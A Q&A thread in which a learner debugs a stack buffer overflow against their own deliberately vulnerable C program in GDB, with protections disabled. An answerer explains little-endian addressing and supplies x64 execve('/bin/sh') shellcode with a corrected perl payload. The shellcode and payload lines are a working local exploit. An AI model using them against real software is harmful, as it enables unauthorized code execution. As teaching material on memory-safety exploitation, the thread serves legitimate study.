S7_0
S7_0

Reputation: 1183

I'm trying to exploit a bufferoverflow, am I doing something wrong?

I'm trying to execute a buffer overflow exploit using this tutorial Everything in my post will be execute directly inside GDB.

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

and this is the code on which I would like to exploit a buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}

I'm currently working on Linux mint 18 and I have a processor 64bits. Given I have a 64bits architecture. Every address is on 8 bytes. And now lets imagine my current stakframe.


| buff[256] |


| RBP |


| SAVE RIP |


My goal is to overwrite the "SAVE RIP" by the address of my "nop sled". Given I'm on an 64bits architecture. I'm going to fill the variable buff with 256 + 8 charactere. the 8 charactere will serve to overwrite the RBP pointer. I'm going to overwrite using perl.

perl -e 'print "\x90" x 264'

And then using the shellcode which is provide in the tutorial I followed

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

I subtracted 26 because the shellcode is of length 26.

And now. I'm going to find out what is the address of my nop sled using GDB.

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: sub    rsp,0x110
   0x0000000000400601 <+11>:    mov    DWORD PTR [rbp-0x104],edi
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x110],rsi
   0x000000000040060e <+24>:    cmp    DWORD PTR [rbp-0x104],0x1
   0x0000000000400615 <+31>:    jne    0x40063d <main+71>
   0x0000000000400617 <+33>:    mov    rax,QWORD PTR [rbp-0x110]
   0x000000000040061e <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000400621 <+43>:    mov    rsi,rax
   0x0000000000400624 <+46>:    mov    edi,0x400704
   0x0000000000400629 <+51>:    mov    eax,0x0
   0x000000000040062e <+56>:    call   0x4004c0 <printf@plt>
   0x0000000000400633 <+61>:    mov    edi,0x0
   0x0000000000400638 <+66>:    call   0x4004e0 <exit@plt>
   0x000000000040063d <+71>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000400644 <+78>:    add    rax,0x8
   0x0000000000400648 <+82>:    mov    rdx,QWORD PTR [rax]
   0x000000000040064b <+85>:    lea    rax,[rbp-0x100]
   0x0000000000400652 <+92>:    mov    rsi,rdx
   0x0000000000400655 <+95>:    mov    rdi,rax
   0x0000000000400658 <+98>:    call   0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>:   lea    rax,[rbp-0x100]
   0x0000000000400664 <+110>:   mov    rdi,rax
   0x0000000000400667 <+113>:   call   0x4004b0 <puts@plt>
   0x000000000040066c <+118>:   mov    eax,0x1
   0x0000000000400671 <+123>:   leave  
   0x0000000000400672 <+124>:   ret    

I add a breakpoint juste after the strcpy function. and I'm trying to to find out the begining of the sled nop using

x/x $rsp

which show me

0x7fffffffde20: 0xffffe018

Then I'm going to do

x/s 0x7fffffffde20

and press 'Enter' until I find what I'm looking for.

And now, come the second problem. I found two different address which seem contain the nop sled

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

and

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

Not knowing which one to choose, I decided to try both of them. However assuming that I'm using the first one, more precisely 0x7fffffffde30. (without forget to take car of the endianess).

I'll try to execute my code using the following command line:

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

then I verify if the RIP was correctly overwrite by the desire address.

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
 rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
 source language c.
 Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
 Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
 Saved registers:
  rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) 

And we can see that the saved RIP was successfully overwrite by the desire address. The main problem now is when I press "Continue" my program segfault without open any shell. I follow exactly what it explain in the tutorial so does anyone can explain me:

-Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

-I found out two different address which contain my nop sled, which one have I to choose ?

-And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

Thanks

I'm compiling using this way

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

EDIT:

Thank you for you comment. I did what you told me but it still segfault.

Hello @russtone.

Thank you for you answer, I did what you told me but it still segfault.

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc78: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00

===> 0x7fffffffdc80:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

0x7fffffffdc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd38: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd40: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd48: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd50: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd58: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd60: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd68: 0x90    0x90    0x90    0x48    0x31    0xff    0x57    0x57
0x7fffffffdd70: 0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62    0x69
0x7fffffffdd78: 0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef    0x08
0x7fffffffdd80: 0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f    0x05
0x7fffffffdd88: 0x90    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

I use this address without forget the endianess.

"0x7fffffffdc80"

which give me

"\x80\xdc\xff\xff\xff\x7f"

So the final command in GDB is

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

and then

continue

which display

Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����

Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()

Thanks

Upvotes: 4

Views: 2626

Answers (1)

russtone
russtone

Reputation: 410

Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

In your example segmentation fault occurs when a program attempts to access a memory at address 0x30deffffff7f which doesn't belong to it. You wanted to overwrite RIP with 0x7fffffffde30 instead of 0x30deffffff7f but you pass wrong payload. Because you have little-endian architecture in your payload instead of:

... "\x7f\xff\xff\xff\xde\x30"

you need to pass:

... "\x30\xde\xff\xff\xff\x7e"

Also I'm not sure that address of you shellcode is 0x7fffffffde30 because x/s $rsp isn't best way to know it. It is better to use something like:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

In above example shelcode is "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" and address for it can be something like 0x7fffffffd240.

I found out two different address which contain my nop sled, which one have I to choose ?

The first address you find is your buffer char buff[256] and the second is argv[1]. Unix-like systems put argv on the stack so in your example it does not matter which to choose. But in general (for any OS) you need to use the address of char buff[256].

And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

The first thing which I have already mentioned above is endianness. You have little-endian machine so you need to pass \x30\xde\xff\xff\xff\x7e instead of \x7f\xff\xff\xff\xde\x30.

The second thing is your shellcode. You are using shellcode from example for x86 program but you need shellcode for x64. You can use something like this:

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

Which in bytecode will be:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Hope this helps. Good luck!

UPDATE

Ok, so now you overwritten the rip and according to output of gdb you successfully jumped to correct address.

The problem now is that you shell code is too close to buffer bound.

Thus you get the picture:

Stack layout

Then at the end of main function after commands

leave
ret

you jumped to addr_1 and rsp = addr_2 + 8 (after leave i.e. mov rsp, rbp; pop rbp). But at the start of shell code you can see 2 push instructions after executions of which $rsp = addr_2 + 8 - 16 = addr_2 - 8. But addr_2 - 8 is last 8 bytes of your shell code! Thus your shell code overwrites itself and you get segfault.

To avoid this you can just put your shell code somewhere in the middle of buf:

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`

Upvotes: 6

Related Questions